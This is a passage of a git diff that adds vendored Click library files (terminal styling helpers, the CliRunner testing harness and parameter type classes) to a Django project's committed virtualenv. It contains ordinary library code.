sys.stdout.write("\033[2J\033[1;1H") + + +def _interpret_color( + color: t.Union[int, t.Tuple[int, int, int], str], offset: int = 0 +) -> str: + if isinstance(color, int): + return f"{38 + offset};5;{color:d}" + + if isinstance(color, (tuple, list)): + r, g, b = color + return f"{38 + offset};2;{r:d};{g:d};{b:d}" + + return str(_ansi_colors[color] + offset) + + +def style( + text: t.Any, + fg: t.Optional[t.Union[int, t.Tuple[int, int, int], str]] = None, + bg: t.Optional[t.Union[int, t.Tuple[int, int, int], str]] = None, + bold: t.Optional[bool] = None, + dim: t.Optional[bool] = None, + underline: t.Optional[bool] = None, + overline: t.Optional[bool] = None, + italic: t.Optional[bool] = None, + blink: t.Optional[bool] = None, + reverse: t.Optional[bool] = None, + strikethrough: t.Optional[bool] = None, + reset: bool = True, +) -> str: + """Styles a text with ANSI styles and returns the new string. By + default the styling is self contained which means that at the end + of the string a reset code is issued. This can be prevented by + passing ``reset=False``. + + Examples:: + + click.echo(click.style('Hello World!', fg='green')) + click.echo(click.style('ATTENTION!', blink=True)) + click.echo(click.style('Some things', reverse=True, fg='cyan')) + click.echo(click.style('More colors', fg=(255, 12, 128), bg=117)) + + Supported color names: + + * ``black`` (might be a gray) + * ``red`` + * ``green`` + * ``yellow`` (might be an orange) + * ``blue`` + * ``magenta`` + * ``cyan`` + * ``white`` (might be light gray) + * ``bright_black`` + * ``bright_red`` + * ``bright_green`` + * ``bright_yellow`` + * ``bright_blue`` + * ``bright_magenta`` + * ``bright_cyan`` + * ``bright_white`` + * ``reset`` (reset the color code only) + + If the terminal supports it, color may also be specified as: + + - An integer in the interval [0, 255]. The terminal must support + 8-bit/256-color mode. + - An RGB tuple of three integers in [0, 255]. The terminal must + support 24-bit/true-color mode. + + See https://en.wikipedia.org/wiki/ANSI_color and + https://gist.github.com/XVilka/8346728 for more information. + + :param text: the string to style with ansi codes. + :param fg: if provided this will become the foreground color. + :param bg: if provided this will become the background color. + :param bold: if provided this will enable or disable bold mode. + :param dim: if provided this will enable or disable dim mode. This is + badly supported. + :param underline: if provided this will enable or disable underline. + :param overline: if provided this will enable or disable overline. + :param italic: if provided this will enable or disable italic. + :param blink: if provided this will enable or disable blinking. + :param reverse: if provided this will enable or disable inverse + rendering (foreground becomes background and the + other way round). + :param strikethrough: if provided this will enable or disable + striking through text. + :param reset: by default a reset-all code is added at the end of the + string which means that styles do not carry over. This + can be disabled to compose styles. + + .. versionchanged:: 8.0 + A non-string ``message`` is converted to a string. + + .. versionchanged:: 8.0 + Added support for 256 and RGB color codes. + + .. versionchanged:: 8.0 + Added the ``strikethrough``, ``italic``, and ``overline`` + parameters. + + .. versionchanged:: 7.0 + Added support for bright colors. + + .. versionadded:: 2.0 + """ + if not isinstance(text, str): + text = str(text) + + bits = [] + + if fg: + try: + bits.append(f"\033[{_interpret_color(fg)}m") + except KeyError: + raise TypeError(f"Unknown color {fg!r}") from None + + if bg: + try: + bits.append(f"\033[{_interpret_color(bg, 10)}m") + except KeyError: + raise TypeError(f"Unknown color {bg!r}") from None + + if bold is not None: + bits.append(f"\033[{1 if bold else 22}m") + if dim is not None: + bits.append(f"\033[{2 if dim else 22}m") + if underline is not None: + bits.append(f"\033[{4 if underline else 24}m") + if overline is not None: + bits.append(f"\033[{53 if overline else 55}m") + if italic is not None: + bits.append(f"\033[{3 if italic else 23}m") + if blink is not None: + bits.append(f"\033[{5 if blink else 25}m") + if reverse is not None: + bits.append(f"\033[{7 if reverse else 27}m") + if strikethrough is not None: + bits.append(f"\033[{9 if strikethrough else 29}m") + bits.append(text) + if reset: + bits.append(_ansi_reset_all) + return "".join(bits) + + +def unstyle(text: str) -> str: + """Removes ANSI styling information from a string. Usually it's not + necessary to use this function as Click's echo function will + automatically remove styling if necessary. + + .. versionadded:: 2.0 + + :param text: the text to remove style information from. + """ + return strip_ansi(text) + + +def secho( + message: t.Optional[t.Any] = None, + file: t.Optional[t.IO[t.AnyStr]] = None, + nl: bool = True, + err: bool = False, + color: t.Optional[bool] = None, + **styles: t.Any, +) -> None: + """This function combines :func:`echo` and :func:`style` into one + call. As such the following two calls are the same:: + + click.secho('Hello World!', fg='green') + click.echo(click.style('Hello World!', fg='green')) + + All keyword arguments are forwarded to the underlying functions + depending on which one they go with. + + Non-string types will be converted to :class:`str`. However, + :class:`bytes` are passed directly to :meth:`echo` without applying + style. If you want to style bytes that represent text, call + :meth:`bytes.decode` first. + + .. versionchanged:: 8.0 + A non-string ``message`` is converted to a string. Bytes are + passed through without style applied. + + .. versionadded:: 2.0 + """ + if message is not None and not isinstance(message, (bytes, bytearray)): + message = style(message, **styles) + + return echo(message, file=file, nl=nl, err=err, color=color) + + +def edit( + text: t.Optional[t.AnyStr] = None, + editor: t.Optional[str] = None, + env: t.Optional[t.Mapping[str, str]] = None, + require_save: bool = True, + extension: str = ".txt", + filename: t.Optional[str] = None, +) -> t.Optional[t.AnyStr]: + r"""Edits the given text in the defined editor. If an editor is given + (should be the full path to the executable but the regular operating + system search path is used for finding the executable) it overrides + the detected editor. Optionally, some environment variables can be + used. If the editor is closed without changes, `None` is returned. In + case a file is edited directly the return value is always `None` and + `require_save` and `extension` are ignored. + + If the editor cannot be opened a :exc:`UsageError` is raised. + + Note for Windows: to simplify cross-platform usage, the newlines are + automatically converted from POSIX to Windows and vice versa. As such, + the message here will have ``\n`` as newline markers. + + :param text: the text to edit. + :param editor: optionally the editor to use. Defaults to automatic + detection. + :param env: environment variables to forward to the editor. + :param require_save: if this is true, then not saving in the editor + will make the return value become `None`. + :param extension: the extension to tell the editor about. This defaults + to `.txt` but changing this might change syntax + highlighting. + :param filename: if provided it will edit this file instead of the + provided text contents. It will not use a temporary + file as an indirection in that case. + """ + from ._termui_impl import Editor + + ed = Editor(editor=editor, env=env, require_save=require_save, extension=extension) + + if filename is None: + return ed.edit(text) + + ed.edit_file(filename) + return None + + +def launch(url: str, wait: bool = False, locate: bool = False) -> int: + """This function launches the given URL (or filename) in the default + viewer application for this file type. If this is an executable, it + might launch the executable in a new session. The return value is + the exit code of the launched application. Usually, ``0`` indicates + success. + + Examples:: + + click.launch('https://click.palletsprojects.com/') + click.launch('/my/downloaded/file', locate=True) + + .. versionadded:: 2.0 + + :param url: URL or filename of the thing to launch. + :param wait: Wait for the program to exit before returning. This + only works if the launched program blocks. In particular, + ``xdg-open`` on Linux does not block. + :param locate: if this is set to `True` then instead of launching the + application associated with the URL it will attempt to + launch a file manager with the file located. This + might have weird effects if the URL does not point to + the filesystem. + """ + from ._termui_impl import open_url + + return open_url(url, wait=wait, locate=locate) + + +# If this is provided, getchar() calls into this instead. This is used +# for unittesting purposes. +_getchar: t.Optional[t.Callable[[bool], str]] = None + + +def getchar(echo: bool = False) -> str: + """Fetches a single character from the terminal and returns it. This + will always return a unicode character and under certain rare + circumstances this might return more than one character. The + situations which more than one character is returned is when for + whatever reason multiple characters end up in the terminal buffer or + standard input was not actually a terminal. + + Note that this will always read from the terminal, even if something + is piped into the standard input. + + Note for Windows: in rare cases when typing non-ASCII characters, this + function might wait for a second character and then return both at once. + This is because certain Unicode characters look like special-key markers. + + .. versionadded:: 2.0 + + :param echo: if set to `True`, the character read will also show up on + the terminal. The default is to not show it. + """ + global _getchar + + if _getchar is None: + from ._termui_impl import getchar as f + + _getchar = f + + return _getchar(echo) + + +def raw_terminal() -> t.ContextManager[int]: + from ._termui_impl import raw_terminal as f + + return f() + + +def pause(info: t.Optional[str] = None, err: bool = False) -> None: + """This command stops execution and waits for the user to press any + key to continue. This is similar to the Windows batch "pause" + command. If the program is not run through a terminal, this command + will instead do nothing. + + .. versionadded:: 2.0 + + .. versionadded:: 4.0 + Added the `err` parameter. + + :param info: The message to print before pausing. Defaults to + ``"Press any key to continue..."``. + :param err: if set to message goes to ``stderr`` instead of + ``stdout``, the same as with echo. + """ + if not isatty(sys.stdin) or not isatty(sys.stdout): + return + + if info is None: + info = _("Press any key to continue...") + + try: + if info: + echo(info, nl=False, err=err) + try: + getchar() + except (KeyboardInterrupt, EOFError): + pass + finally: + if info: + echo(err=err) diff --git a/django_lottopy/lib/python3.10/site-packages/click/testing.py b/django_lottopy/lib/python3.10/site-packages/click/testing.py new file mode 100644 index 00000000..e395c2ed --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/testing.py @@ -0,0 +1,479 @@ +import contextlib +import io +import os +import shlex +import shutil +import sys +import tempfile +import typing as t +from types import TracebackType + +from . import formatting +from . import termui +from . import utils +from ._compat import _find_binary_reader + +if t.TYPE_CHECKING: + from .core import BaseCommand + + +class EchoingStdin: + def __init__(self, input: t.BinaryIO, output: t.BinaryIO) -> None: + self._input = input + self._output = output + self._paused = False + + def __getattr__(self, x: str) -> t.Any: + return getattr(self._input, x) + + def _echo(self, rv: bytes) -> bytes: + if not self._paused: + self._output.write(rv) + + return rv + + def read(self, n: int = -1) -> bytes: + return self._echo(self._input.read(n)) + + def read1(self, n: int = -1) -> bytes: + return self._echo(self._input.read1(n)) # type: ignore + + def readline(self, n: int = -1) -> bytes: + return self._echo(self._input.readline(n)) + + def readlines(self) -> t.List[bytes]: + return [self._echo(x) for x in self._input.readlines()] + + def __iter__(self) -> t.Iterator[bytes]: + return iter(self._echo(x) for x in self._input) + + def __repr__(self) -> str: + return repr(self._input) + + +@contextlib.contextmanager +def _pause_echo(stream: t.Optional[EchoingStdin]) -> t.Iterator[None]: + if stream is None: + yield + else: + stream._paused = True + yield + stream._paused = False + + +class _NamedTextIOWrapper(io.TextIOWrapper): + def __init__( + self, buffer: t.BinaryIO, name: str, mode: str, **kwargs: t.Any + ) -> None: + super().__init__(buffer, **kwargs) + self._name = name + self._mode = mode + + @property + def name(self) -> str: + return self._name + + @property + def mode(self) -> str: + return self._mode + + +def make_input_stream( + input: t.Optional[t.Union[str, bytes, t.IO]], charset: str +) -> t.BinaryIO: + # Is already an input stream. + if hasattr(input, "read"): + rv = _find_binary_reader(t.cast(t.IO, input)) + + if rv is not None: + return rv + + raise TypeError("Could not find binary reader for input stream.") + + if input is None: + input = b"" + elif isinstance(input, str): + input = input.encode(charset) + + return io.BytesIO(t.cast(bytes, input)) + + +class Result: + """Holds the captured result of an invoked CLI script.""" + + def __init__( + self, + runner: "CliRunner", + stdout_bytes: bytes, + stderr_bytes: t.Optional[bytes], + return_value: t.Any, + exit_code: int, + exception: t.Optional[BaseException], + exc_info: t.Optional[ + t.Tuple[t.Type[BaseException], BaseException, TracebackType] + ] = None, + ): + #: The runner that created the result + self.runner = runner + #: The standard output as bytes. + self.stdout_bytes = stdout_bytes + #: The standard error as bytes, or None if not available + self.stderr_bytes = stderr_bytes + #: The value returned from the invoked command. + #: + #: .. versionadded:: 8.0 + self.return_value = return_value + #: The exit code as integer. + self.exit_code = exit_code + #: The exception that happened if one did. + self.exception = exception + #: The traceback + self.exc_info = exc_info + + @property + def output(self) -> str: + """The (standard) output as unicode string.""" + return self.stdout + + @property + def stdout(self) -> str: + """The standard output as unicode string.""" + return self.stdout_bytes.decode(self.runner.charset, "replace").replace( + "\r\n", "\n" + ) + + @property + def stderr(self) -> str: + """The standard error as unicode string.""" + if self.stderr_bytes is None: + raise ValueError("stderr not separately captured") + return self.stderr_bytes.decode(self.runner.charset, "replace").replace( + "\r\n", "\n" + ) + + def __repr__(self) -> str: + exc_str = repr(self.exception) if self.exception else "okay" + return f"<{type(self).__name__} {exc_str}>" + + +class CliRunner: + """The CLI runner provides functionality to invoke a Click command line + script for unittesting purposes in a isolated environment. This only + works in single-threaded systems without any concurrency as it changes the + global interpreter state. + + :param charset: the character set for the input and output data. + :param env: a dictionary with environment variables for overriding. + :param echo_stdin: if this is set to `True`, then reading from stdin writes + to stdout. This is useful for showing examples in + some circumstances. Note that regular prompts + will automatically echo the input. + :param mix_stderr: if this is set to `False`, then stdout and stderr are + preserved as independent streams. This is useful for + Unix-philosophy apps that have predictable stdout and + noisy stderr, such that each may be measured + independently + """ + + def __init__( + self, + charset: str = "utf-8", + env: t.Optional[t.Mapping[str, t.Optional[str]]] = None, + echo_stdin: bool = False, + mix_stderr: bool = True, + ) -> None: + self.charset = charset + self.env = env or {} + self.echo_stdin = echo_stdin + self.mix_stderr = mix_stderr + + def get_default_prog_name(self, cli: "BaseCommand") -> str: + """Given a command object it will return the default program name + for it. The default is the `name` attribute or ``"root"`` if not + set. + """ + return cli.name or "root" + + def make_env( + self, overrides: t.Optional[t.Mapping[str, t.Optional[str]]] = None + ) -> t.Mapping[str, t.Optional[str]]: + """Returns the environment overrides for invoking a script.""" + rv = dict(self.env) + if overrides: + rv.update(overrides) + return rv + + @contextlib.contextmanager + def isolation( + self, + input: t.Optional[t.Union[str, bytes, t.IO]] = None, + env: t.Optional[t.Mapping[str, t.Optional[str]]] = None, + color: bool = False, + ) -> t.Iterator[t.Tuple[io.BytesIO, t.Optional[io.BytesIO]]]: + """A context manager that sets up the isolation for invoking of a + command line tool. This sets up stdin with the given input data + and `os.environ` with the overrides from the given dictionary. + This also rebinds some internals in Click to be mocked (like the + prompt functionality). + + This is automatically done in the :meth:`invoke` method. + + :param input: the input stream to put into sys.stdin. + :param env: the environment overrides as dictionary. + :param color: whether the output should contain color codes. The + application can still override this explicitly. + + .. versionchanged:: 8.0 + ``stderr`` is opened with ``errors="backslashreplace"`` + instead of the default ``"strict"``. + + .. versionchanged:: 4.0 + Added the ``color`` parameter. + """ + bytes_input = make_input_stream(input, self.charset) + echo_input = None + + old_stdin = sys.stdin + old_stdout = sys.stdout + old_stderr = sys.stderr + old_forced_width = formatting.FORCED_WIDTH + formatting.FORCED_WIDTH = 80 + + env = self.make_env(env) + + bytes_output = io.BytesIO() + + if self.echo_stdin: + bytes_input = echo_input = t.cast( + t.BinaryIO, EchoingStdin(bytes_input, bytes_output) + ) + + sys.stdin = text_input = _NamedTextIOWrapper( + bytes_input, encoding=self.charset, name="", mode="r" + ) + + if self.echo_stdin: + # Force unbuffered reads, otherwise TextIOWrapper reads a + # large chunk which is echoed early. + text_input._CHUNK_SIZE = 1 # type: ignore + + sys.stdout = _NamedTextIOWrapper( + bytes_output, encoding=self.charset, name="", mode="w" + ) + + bytes_error = None + if self.mix_stderr: + sys.stderr = sys.stdout + else: + bytes_error = io.BytesIO() + sys.stderr = _NamedTextIOWrapper( + bytes_error, + encoding=self.charset, + name="", + mode="w", + errors="backslashreplace", + ) + + @_pause_echo(echo_input) # type: ignore + def visible_input(prompt: t.Optional[str] = None) -> str: + sys.stdout.write(prompt or "") + val = text_input.readline().rstrip("\r\n") + sys.stdout.write(f"{val}\n") + sys.stdout.flush() + return val + + @_pause_echo(echo_input) # type: ignore + def hidden_input(prompt: t.Optional[str] = None) -> str: + sys.stdout.write(f"{prompt or ''}\n") + sys.stdout.flush() + return text_input.readline().rstrip("\r\n") + + @_pause_echo(echo_input) # type: ignore + def _getchar(echo: bool) -> str: + char = sys.stdin.read(1) + + if echo: + sys.stdout.write(char) + + sys.stdout.flush() + return char + + default_color = color + + def should_strip_ansi( + stream: t.Optional[t.IO] = None, color: t.Optional[bool] = None + ) -> bool: + if color is None: + return not default_color + return not color + + old_visible_prompt_func = termui.visible_prompt_func + old_hidden_prompt_func = termui.hidden_prompt_func + old__getchar_func = termui._getchar + old_should_strip_ansi = utils.should_strip_ansi # type: ignore + termui.visible_prompt_func = visible_input + termui.hidden_prompt_func = hidden_input + termui._getchar = _getchar + utils.should_strip_ansi = should_strip_ansi # type: ignore + + old_env = {} + try: + for key, value in env.items(): + old_env[key] = os.environ.get(key) + if value is None: + try: + del os.environ[key] + except Exception: + pass + else: + os.environ[key] = value + yield (bytes_output, bytes_error) + finally: + for key, value in old_env.items(): + if value is None: + try: + del os.environ[key] + except Exception: + pass + else: + os.environ[key] = value + sys.stdout = old_stdout + sys.stderr = old_stderr + sys.stdin = old_stdin + termui.visible_prompt_func = old_visible_prompt_func + termui.hidden_prompt_func = old_hidden_prompt_func + termui._getchar = old__getchar_func + utils.should_strip_ansi = old_should_strip_ansi # type: ignore + formatting.FORCED_WIDTH = old_forced_width + + def invoke( + self, + cli: "BaseCommand", + args: t.Optional[t.Union[str, t.Sequence[str]]] = None, + input: t.Optional[t.Union[str, bytes, t.IO]] = None, + env: t.Optional[t.Mapping[str, t.Optional[str]]] = None, + catch_exceptions: bool = True, + color: bool = False, + **extra: t.Any, + ) -> Result: + """Invokes a command in an isolated environment. The arguments are + forwarded directly to the command line script, the `extra` keyword + arguments are passed to the :meth:`~clickpkg.Command.main` function of + the command. + + This returns a :class:`Result` object. + + :param cli: the command to invoke + :param args: the arguments to invoke. It may be given as an iterable + or a string. When given as string it will be interpreted + as a Unix shell command. More details at + :func:`shlex.split`. + :param input: the input data for `sys.stdin`. + :param env: the environment overrides. + :param catch_exceptions: Whether to catch any other exceptions than + ``SystemExit``. + :param extra: the keyword arguments to pass to :meth:`main`. + :param color: whether the output should contain color codes. The + application can still override this explicitly. + + .. versionchanged:: 8.0 + The result object has the ``return_value`` attribute with + the value returned from the invoked command. + + .. versionchanged:: 4.0 + Added the ``color`` parameter. + + .. versionchanged:: 3.0 + Added the ``catch_exceptions`` parameter. + + .. versionchanged:: 3.0 + The result object has the ``exc_info`` attribute with the + traceback if available. + """ + exc_info = None + with self.isolation(input=input, env=env, color=color) as outstreams: + return_value = None + exception: t.Optional[BaseException] = None + exit_code = 0 + + if isinstance(args, str): + args = shlex.split(args) + + try: + prog_name = extra.pop("prog_name") + except KeyError: + prog_name = self.get_default_prog_name(cli) + + try: + return_value = cli.main(args=args or (), prog_name=prog_name, **extra) + except SystemExit as e: + exc_info = sys.exc_info() + e_code = t.cast(t.Optional[t.Union[int, t.Any]], e.code) + + if e_code is None: + e_code = 0 + + if e_code != 0: + exception = e + + if not isinstance(e_code, int): + sys.stdout.write(str(e_code)) + sys.stdout.write("\n") + e_code = 1 + + exit_code = e_code + + except Exception as e: + if not catch_exceptions: + raise + exception = e + exit_code = 1 + exc_info = sys.exc_info() + finally: + sys.stdout.flush() + stdout = outstreams[0].getvalue() + if self.mix_stderr: + stderr = None + else: + stderr = outstreams[1].getvalue() # type: ignore + + return Result( + runner=self, + stdout_bytes=stdout, + stderr_bytes=stderr, + return_value=return_value, + exit_code=exit_code, + exception=exception, + exc_info=exc_info, # type: ignore + ) + + @contextlib.contextmanager + def isolated_filesystem( + self, temp_dir: t.Optional[t.Union[str, os.PathLike]] = None + ) -> t.Iterator[str]: + """A context manager that creates a temporary directory and + changes the current working directory to it. This isolates tests + that affect the contents of the CWD to prevent them from + interfering with each other. + + :param temp_dir: Create the temporary directory under this + directory. If given, the created directory is not removed + when exiting. + + .. versionchanged:: 8.0 + Added the ``temp_dir`` parameter. + """ + cwd = os.getcwd() + dt = tempfile.mkdtemp(dir=temp_dir) # type: ignore[type-var] + os.chdir(dt) + + try: + yield t.cast(str, dt) + finally: + os.chdir(cwd) + + if temp_dir is None: + try: + shutil.rmtree(dt) + except OSError: # noqa: B014 + pass diff --git a/django_lottopy/lib/python3.10/site-packages/click/types.py b/django_lottopy/lib/python3.10/site-packages/click/types.py new file mode 100644 index 00000000..b45ee53d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/types.py @@ -0,0 +1,1073 @@ +import os +import stat +import typing as t +from datetime import datetime +from gettext import gettext as _ +from gettext import ngettext + +from ._compat import _get_argv_encoding +from ._compat import get_filesystem_encoding +from ._compat import open_stream +from .exceptions import BadParameter +from .utils import LazyFile +from .utils import safecall + +if t.TYPE_CHECKING: + import typing_extensions as te + from .core import Context + from .core import Parameter + from .shell_completion import CompletionItem + + +class ParamType: + """Represents the type of a parameter. Validates and converts values + from the command line or Python into the correct type. + + To implement a custom type, subclass and implement at least the + following: + + - The :attr:`name` class attribute must be set. + - Calling an instance of the type with ``None`` must return + ``None``. This is already implemented by default. + - :meth:`convert` must convert string values to the correct type. + - :meth:`convert` must accept values that are already the correct + type. + - It must be able to convert a value if the ``ctx`` and ``param`` + arguments are ``None``. This can occur when converting prompt + input. + """ + + is_composite: t.ClassVar[bool] = False + arity: t.ClassVar[int] = 1 + + #: the descriptive name of this type + name: str + + #: if a list of this type is expected and the value is pulled from a + #: string environment variable, this is what splits it up. `None` + #: means any whitespace. For all parameters the general rule is that + #: whitespace splits them up. The exception are paths and files which + #: are split by ``os.path.pathsep`` by default (":" on Unix and ";" on + #: Windows). + envvar_list_splitter: t.ClassVar[t.Optional[str]] = None + + def to_info_dict(self) -> t.Dict[str, t.Any]: + """Gather information that could be useful for a tool generating + user-facing documentation. + + Use :meth:`click.Context.to_info_dict` to traverse the entire + CLI structure. + + .. versionadded:: 8.0 + """ + # The class name without the "ParamType" suffix. + param_type = type(self).__name__.partition("ParamType")[0] + param_type = param_type.partition("ParameterType")[0] + + # Custom subclasses might not remember to set a name. + if hasattr(self, "name"): + name = self.name + else: + name = param_type + + return {"param_type": param_type, "name": name} + + def __call__( + self, + value: t.Any, + param: t.Optional["Parameter"] = None, + ctx: t.Optional["Context"] = None, + ) -> t.Any: + if value is not None: + return self.convert(value, param, ctx) + + def get_metavar(self, param: "Parameter") -> t.Optional[str]: + """Returns the metavar default for this param if it provides one.""" + + def get_missing_message(self, param: "Parameter") -> t.Optional[str]: + """Optionally might return extra information about a missing + parameter. + + .. versionadded:: 2.0 + """ + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + """Convert the value to the correct type. This is not called if + the value is ``None`` (the missing value). + + This must accept string values from the command line, as well as + values that are already the correct type. It may also convert + other compatible types. + + The ``param`` and ``ctx`` arguments may be ``None`` in certain + situations, such as when converting prompt input. + + If the value cannot be converted, call :meth:`fail` with a + descriptive message. + + :param value: The value to convert. + :param param: The parameter that is using this type to convert + its value. May be ``None``. + :param ctx: The current context that arrived at this value. May + be ``None``. + """ + return value + + def split_envvar_value(self, rv: str) -> t.Sequence[str]: + """Given a value from an environment variable this splits it up + into small chunks depending on the defined envvar list splitter. + + If the splitter is set to `None`, which means that whitespace splits, + then leading and trailing whitespace is ignored. Otherwise, leading + and trailing splitters usually lead to empty items being included. + """ + return (rv or "").split(self.envvar_list_splitter) + + def fail( + self, + message: str, + param: t.Optional["Parameter"] = None, + ctx: t.Optional["Context"] = None, + ) -> "t.NoReturn": + """Helper method to fail with an invalid value message.""" + raise BadParameter(message, ctx=ctx, param=param) + + def shell_complete( + self, ctx: "Context", param: "Parameter", incomplete: str + ) -> t.List["CompletionItem"]: + """Return a list of + :class:`~click.shell_completion.CompletionItem` objects for the + incomplete value. Most types do not provide completions, but + some do, and this allows custom types to provide custom + completions as well. + + :param ctx: Invocation context for this command. + :param param: The parameter that is requesting completion. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + return [] + + +class CompositeParamType(ParamType): + is_composite = True + + @property + def arity(self) -> int: # type: ignore + raise NotImplementedError() + + +class FuncParamType(ParamType): + def __init__(self, func: t.Callable[[t.Any], t.Any]) -> None: + self.name = func.__name__ + self.func = func + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict["func"] = self.func + return info_dict + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + try: + return self.func(value) + except ValueError: + try: + value = str(value) + except UnicodeError: + value = value.decode("utf-8", "replace") + + self.fail(value, param, ctx) + + +class UnprocessedParamType(ParamType): + name = "text" + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + return value + + def __repr__(self) -> str: + return "UNPROCESSED" + + +class StringParamType(ParamType): + name = "text" + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + if isinstance(value, bytes): + enc = _get_argv_encoding() + try: + value = value.decode(enc) + except UnicodeError: + fs_enc = get_filesystem_encoding() + if fs_enc != enc: + try: + value = value.decode(fs_enc) + except UnicodeError: + value = value.decode("utf-8", "replace") + else: + value = value.decode("utf-8", "replace") + return value + return str(value) + + def __repr__(self) -> str: + return "STRING" + + +class Choice(ParamType): + """The choice type allows a value to be checked against a fixed set + of supported values. All of these values have to be strings. + + You should only pass a list or tuple of choices. Other iterables + (like generators) may lead to surprising results. + + The resulting value will always be one of the originally passed choices + regardless of ``case_sensitive`` or any ``ctx.token_normalize_func`` + being specified. + + See :ref:`choice-opts` for an example. + + :param case_sensitive: Set to false to make choices case + insensitive. Defaults to true. + """ + + name = "choice" + + def __init__(self, choices: t.Sequence[str], case_sensitive: bool = True) -> None: + self.choices = choices + self.case_sensitive = case_sensitive + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict["choices"] = self.choices + info_dict["case_sensitive"] = self.case_sensitive + return info_dict + + def get_metavar(self, param: "Parameter") -> str: + choices_str = "|".join(self.choices) + + # Use curly braces to indicate a required argument. + if param.required and param.param_type_name == "argument": + return f"{{{choices_str}}}" + + # Use square braces to indicate an option or optional argument. + return f"[{choices_str}]" + + def get_missing_message(self, param: "Parameter") -> str: + return _("Choose from:\n\t{choices}").format(choices=",\n\t".join(self.choices)) + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + # Match through normalization and case sensitivity + # first do token_normalize_func, then lowercase + # preserve original `value` to produce an accurate message in + # `self.fail` + normed_value = value + normed_choices = {choice: choice for choice in self.choices} + + if ctx is not None and ctx.token_normalize_func is not None: + normed_value = ctx.token_normalize_func(value) + normed_choices = { + ctx.token_normalize_func(normed_choice): original + for normed_choice, original in normed_choices.items() + } + + if not self.case_sensitive: + normed_value = normed_value.casefold() + normed_choices = { + normed_choice.casefold(): original + for normed_choice, original in normed_choices.items() + } + + if normed_value in normed_choices: + return normed_choices[normed_value] + + choices_str = ", ".join(map(repr, self.choices)) + self.fail( + ngettext( + "{value!r} is not {choice}.", + "{value!r} is not one of {choices}.", + len(self.choices), + ).format(value=value, choice=choices_str, choices=choices_str), + param, + ctx, + ) + + def __repr__(self) -> str: + return f"Choice({list(self.choices)})" + + def shell_complete( + self, ctx: "Context", param: "Parameter", incomplete: str + ) -> t.List["CompletionItem"]: + """Complete choices that start with the incomplete value. + + :param ctx: Invocation context for this command. + :param param: The parameter that is requesting completion. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + from click.shell_completion import CompletionItem + + str_choices = map(str, self.choices) + + if self.case_sensitive: + matched = (c for c in str_choices if c.startswith(incomplete)) + else: + incomplete = incomplete.lower() + matched = (c for c in str_choices if c.lower().startswith(incomplete)) + + return [CompletionItem(c) for c in matched] + + +class DateTime(ParamType): + """The DateTime type converts date strings into `datetime` objects. + + The format strings which are checked are configurable, but default to some + common (non-timezone aware) ISO 8601 formats. + + When specifying *DateTime* formats, you should only pass a list or a tuple. + Other iterables, like generators, may lead to surprising results. + + The format strings are processed using ``datetime.strptime``, and this + consequently defines the format strings which are allowed. + + Parsing is tried using each format, in order, and the first format which + parses successfully is used. + + :param formats: A list or tuple of date format strings, in the order in + which they should be tried. Defaults to + ``'%Y-%m-%d'``, ``'%Y-%m-%dT%H:%M:%S'``, + ``'%Y-%m-%d %H:%M:%S'``. + """ + + name = "datetime" + + def __init__(self, formats: t.Optional[t.Sequence[str]] = None): + self.formats = formats or ["%Y-%m-%d", "%Y-%m-%dT%H:%M:%S", "%Y-%m-%d %H:%M:%S"] + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict["formats"] = self.formats + return info_dict + + def get_metavar(self, param: "Parameter") -> str: + return f"[{'|'.join(self.formats)}]" + + def _try_to_convert_date(self, value: t.Any, format: str) -> t.Optional[datetime]: + try: + return datetime.strptime(value, format) + except ValueError: + return None + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + if isinstance(value, datetime): + return value + + for format in self.formats: + converted = self._try_to_convert_date(value, format) + + if converted is not None: + return converted + + formats_str = ", ".join(map(repr, self.formats)) + self.fail( + ngettext( + "{value!r} does not match the format {format}.", + "{value!r} does not match the formats {formats}.", + len(self.formats), + ).format(value=value, format=formats_str, formats=formats_str), + param, + ctx, + ) + + def __repr__(self) -> str: + return "DateTime" + + +class _NumberParamTypeBase(ParamType): + _number_class: t.ClassVar[t.Type] + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + try: + return self._number_class(value) + except ValueError: + self.fail( + _("{value!r} is not a valid {number_type}.").format( + value=value, number_type=self.name + ), + param, + ctx, + ) + + +class _NumberRangeBase(_NumberParamTypeBase): + def __init__( + self, + min: t.Optional[float] = None, + max: t.Optional[float] = None, + min_open: bool = False, + max_open: bool = False, + clamp: bool = False, + ) -> None: + self.min = min + self.max = max + self.min_open = min_open + self.max_open = max_open + self.clamp = clamp + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict.update( + min=self.min, + max=self.max, + min_open=self.min_open, + max_open=self.max_open, + clamp=self.clamp, + ) + return info_dict + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + import operator + + rv = super().convert(value, param, ctx) + lt_min: bool = self.min is not None and ( + operator.le if self.min_open else operator.lt + )(rv, self.min) + gt_max: bool = self.max is not None and ( + operator.ge if self.max_open else operator.gt + )(rv, self.max) + + if self.clamp: + if lt_min: + return self._clamp(self.min, 1, self.min_open) # type: ignore + + if gt_max: + return self._clamp(self.max, -1, self.max_open) # type: ignore + + if lt_min or gt_max: + self.fail( + _("{value} is not in the range {range}.").format( + value=rv, range=self._describe_range() + ), + param, + ctx, + ) + + return rv + + def _clamp(self, bound: float, dir: "te.Literal[1, -1]", open: bool) -> float: + """Find the valid value to clamp 